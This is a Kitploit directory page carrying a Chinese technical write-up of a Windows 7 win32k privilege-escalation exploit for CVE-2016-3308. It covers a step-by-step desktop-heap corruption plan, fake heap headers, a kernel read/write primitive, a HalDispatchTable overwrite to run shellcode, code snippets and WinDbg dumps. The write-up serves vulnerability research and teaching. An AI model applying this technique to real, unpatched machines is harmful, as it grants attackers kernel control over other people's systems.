Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-3308 — 利用CVE-2016-3308破坏win32k桌面堆 | Kitploit
工具/GitHubGitHub/jackhuyh/cve-2016-3308
内存取证漏洞分析漏洞利用二进制利用
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

利用CVE-2016-3308破坏win32k桌面堆

查看仓库
12139年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

利用 CVE-2016-3308 破坏 win32k 桌面堆

作者:@55-AA,2016年9月18日

介绍

桌面堆是一个由 win32k 使用的内核池,可以被用户态应用程序利用。这里我将详细描述如何实现一个可靠的利用,从而在内核中读写任意地址。本文及相关的分析基于 win7_sp1_x86(build 17842)环境。

漏洞

2016年8月9日,微软发布了 MS16-098。漏洞代码位于函数 win32k!xxxInsertMenuItem 中,函数原型如下:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

首先看看 xxxInsertMenuItem 中的伪漏洞代码:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

在上述代码中,当第9个(从第1个开始)项被添加到 pMenu 时,调用了 DesktopAlloc() 来重新分配一个新的 pMenu->rgItems。然后调用了 MNLookUpItem() 来获取该项在 pMenu->rgItems 中的位置。但是 MNLookUpItem() 返回的 pItem 是另一个 pSubMenu 的 rgItems,而不是 pMenu 的,因此当调用 RtlMoveMemory() 时,pSubMenu 的 pItem 及后续字节会因移动的大小错误而被覆盖。

以下是关于该漏洞的反汇编代码,会触发堆覆盖,可用于构建伪造的块:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

为了跟踪这个漏洞,我在 WinDbg 中使用了这些断点:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

为了触发该漏洞,需要完成以下步骤:

  1. 创建一个菜单。
  2. 创建一个子菜单,作为菜单的第一个 ITEM,ID 为 0x123,必须将 MENUITEMINFO.hbmpItem 设置为 HBMMENU_SYSTEM。
  3. 向菜单中添加其他 7 个 ITEM,ID 从 0x1001 到 0x1007。
  4. 向子菜单中添加一个 ID 为 1 的 ITEM。
  5. 向子菜单中添加其他 8 个 ITEM,以便获得一个具有 16 个槽的 tagMENU.rgItems。但如果只需要触发崩溃,这一步并非必须。
  6. 向菜单中添加第 9 个 ITEM(ID 为 0x123),从而以错误的参数调用预期的 RtlMoveMemory()。

桌面堆

桌面堆是所有 GUI 进程使用的全局池。所有 GUI 对象,如窗口、菜单,都存储在桌面堆中,并由内核堆分配器管理。内核堆分配器使用了熟悉的函数,例如 RtlAllocateHeap 和 RtlFreeHeap。与用户态堆不同,桌面堆不使用任何前端分配器,因此没有低碎片堆(LFH),也没有 Lookaside 列表等。此外,直到 Windows 8 及更高版本才引入了堆编码。以下是 win7_sp1_x86 上块的内部结构:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Size 和 PreviousSize 字段表示右移 HEAP_GRANULARITY_SHIFT(在 32 位系统中定义为 3)位后的块大小,Size 字段指定当前块,PreviousSize 指定前一个块。Flags 的最低位通常设置为 HEAP_ENTRY_BUSY(0x01),表示该块正在使用中,否则为 0x00。

下图展示了这些字段与这些块之间的关系。第二个绿色下划线 WORD(0x000f)表示当前块大小为 0x78 字节,第二个黑色下划线 WORD(0x0003)表示前一个块大小为 0x18 字节,红色下划线 WORD(0x0001)表示当前块正在使用中。这里,块大小包括头部大小,头部定义为上面的 HEAP_ENTRY 结构。

这是堆损坏最重要的特性,堆分配器总是获取最近释放的块。这意味着我们实际上可以分配任意大小的块,并且放在我们想要的特定位置。

损坏

通过利用该漏洞,我可以覆盖桌面堆中的一些字节,从而获得一个伪造的块,替换掉一个正常的块,然后释放被替换的块,这样伪造的块就被推到了空闲块列表的顶部。随后,伪造的块被重用,我可以向其中写入任意字节,可写区域覆盖了几个正常的块,但无法覆盖整个内核空间。因此,我需要在重叠区域内构建另一个读/写原语,利用 tagWND.strName 来写入任意地址。strName.Buffer 的指针可以将我们引导到任何地方,包括内核空间和用户空间。当然,我们的目标只是 nt!HalDispatchTable。

下图展示了堆的变化过程:

根据图示,我逐步破坏桌面堆,并通过以下阶段实现利用:

  1. 创建一些具有 WndText 大小为 1 的窗口,循环 FILL_HOLE_COUNT 次来填充旧的空洞。
  2. 创建 WND_0 ~ WND_5 来操作块数据。
  3. 创建一个菜单,并创建一个子菜单作为菜单的第一个 ITEM,ID 为 0x123。然后向菜单中添加其他 7 个 ITEM,ID 为 0x1001~0x1007。
  4. 向子菜单中添加一个 ID 为 1 的 ITEM,以及其他 7 个 ID 为 0x2001~0x2007 的 ITEM。
  5. 向子菜单中添加第 9 个 ITEM(ID 为 0x2008),以便获得一个具有 16 个槽的 tagMENU.rgItems。
  6. 将 WND_5 的文本设置为 0x360 字节,以填充子菜单 ITEM*8 的原始空洞。
  7. 将 WND_1 的文本设置为 0x70 字节,准备伪造的块头部。
  8. 将 WND_2 的文本设置为 0x70 字节,为伪造的块构建一个占位符。
  9. 将 WND_0 的文本设置为 0x6c0 字节,为将来的菜单 ITEM*16 构建一个占位符。
  10. 创建一个带有自动创建的 tagPROPLIST 的原始窗口(Primitive-WND)。
  11. 创建一个带有自动创建的 tagPROPLIST 的损坏窗口(Corrupt-WND)。
  12. 将 WND_3 的文本设置为 0x10 字节,用于步骤 8 中伪造块之后的下一个伪造块。
  13. 保存堆布局,以便在退出阶段恢复。
  14. 将 WND_0 的文本重置为 0x700 字节,从而释放一个 0x6c0 大小的空洞。
  15. 向菜单中添加第 9 个 ITEM,它会重用步骤 14 中释放的块,并且漏洞会被触发。
  16. 将 WND_2 的文本重置为 0x80 字节,导致伪造的块被推到空闲列表的顶部。
  17. 将 Corrupt-WND 的文本设置为 0x8e0 字节,然后伪造的块被重用。
  18. 通过设置 Primitive-WND 的文本,执行写入原语来覆盖 nt!HalDispatchTable[1]。
  19. 通过调用 NtQueryIntervalProfile 触发 shellcode。
  20. 恢复保存的堆布局并退出。

上面列出的关键步骤用于构建堆风水:

在步骤 7 中,我会在 WND_1 的文本中构建一个伪造的堆头部,它指定了未来块的状态。如上图中的蓝色部分,它会覆盖红色部分。从 'Corrupt HDR' 到 'red HDR' 的距离是 0x6c,这是一个 ITEM 的大小。参数如下:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

在步骤 12 中,我会在 WND_3 的文本中构建下一个伪造的堆头部,使堆分配器相信这些伪造的块是正常链接的。

在步骤 15 中,漏洞会被触发。由于添加了第 9 个 ITEM,ITEMs 列表被重新分配,并重用 WND_0 文本释放的块。因此,从 'SubMenuITEMs HDR' 到 'MenuITEMs HDR' 的距离是 (0x6c8+0x78+0x78) 字节,这个区域内的数据会被自身覆盖。在这一步中,WND_1、WND_2 和 MenuITEMs 的块头部受到了破坏。为了正常退出进程,我保存了一些数据,以便在步骤 20 中恢复。

在步骤 13 中,我在数据被破坏之前保存了一些数据。然而,我处于用户态,无法读取内核空间内的这些数据。幸运的是,用户态中有一个映射区,它是桌面堆的镜像。尽管它是只读的,但对于我的目的来说已经足够了。要获取用户态中的映射区地址,可以使用 Win32ClientInfo,它是 TEB 中一个未文档化的结构,让我们看看:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

我们关心的字段是 pvDesktopBase 和 ulClientDelta。pvDesktopBase 指向桌面堆的内核地址,ulClientDelta 是一个增量值,指定了用户态镜像与内核地址之间的偏移量。

此外,我需要一个从 HANDLE 到内核地址的映射关系。有一个名为 gSharedInfo 的全局变量,它在 win7 及更高版本上由 user32.dll 导出。其定义如下:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

因此,我可以通过以下函数从句柄获取内核地址:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

在步骤 17、18 和 20 中,我想向内核空间写入一些字节,因此我利用了窗口文本。它是一个在桌面堆上分配并与窗口对象关联的 LARGE_UNICODE_STRING。我们可以在 tagWND 结构中找到它,在 win7_sp1_x86 上,其偏移量为 0x84,而偏移量 0x8c 正是我们可以控制来读写的指针。在用户态,我可以调用 NtUserDefSetText() 来设置窗口的文本,文本内容会被写入我们想要的内核地址。

在步骤 19 中,我触发了最终目标——shellcode。通过调用用户态的 NtQueryIntervalProfile(),原本会调用 hal!HaliQuerySystemInformation,但其函数指针已经在步骤 18 中被替换为我自己的函数。顺便说一下,当 NtQueryIntervalProfile 的第一个参数设置为 1 时,会存在一个短路,原因在于偏移 84115505 处的如下代码:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

除此之外,任何其他值都会正常执行。

为了方便跟踪整个破坏过程,我在控制台中打印了一些关键值。

根据输出,我们可以通过 WinDbg 查看破坏中的桌面堆布局。

这是步骤 7 和步骤 8 中的 WND_1_Text 和 WND_2_Text:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

这是在步骤 15 的利用之后的状态:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

这是完成的伪造块:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

这是第二个完成的伪造块:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

被替换的 shellcode 指针:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

参考资料

  • An Analysis Of MS16-098
  • Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit
  • Kernel Attacks through User-Mode Callbacks
下载工具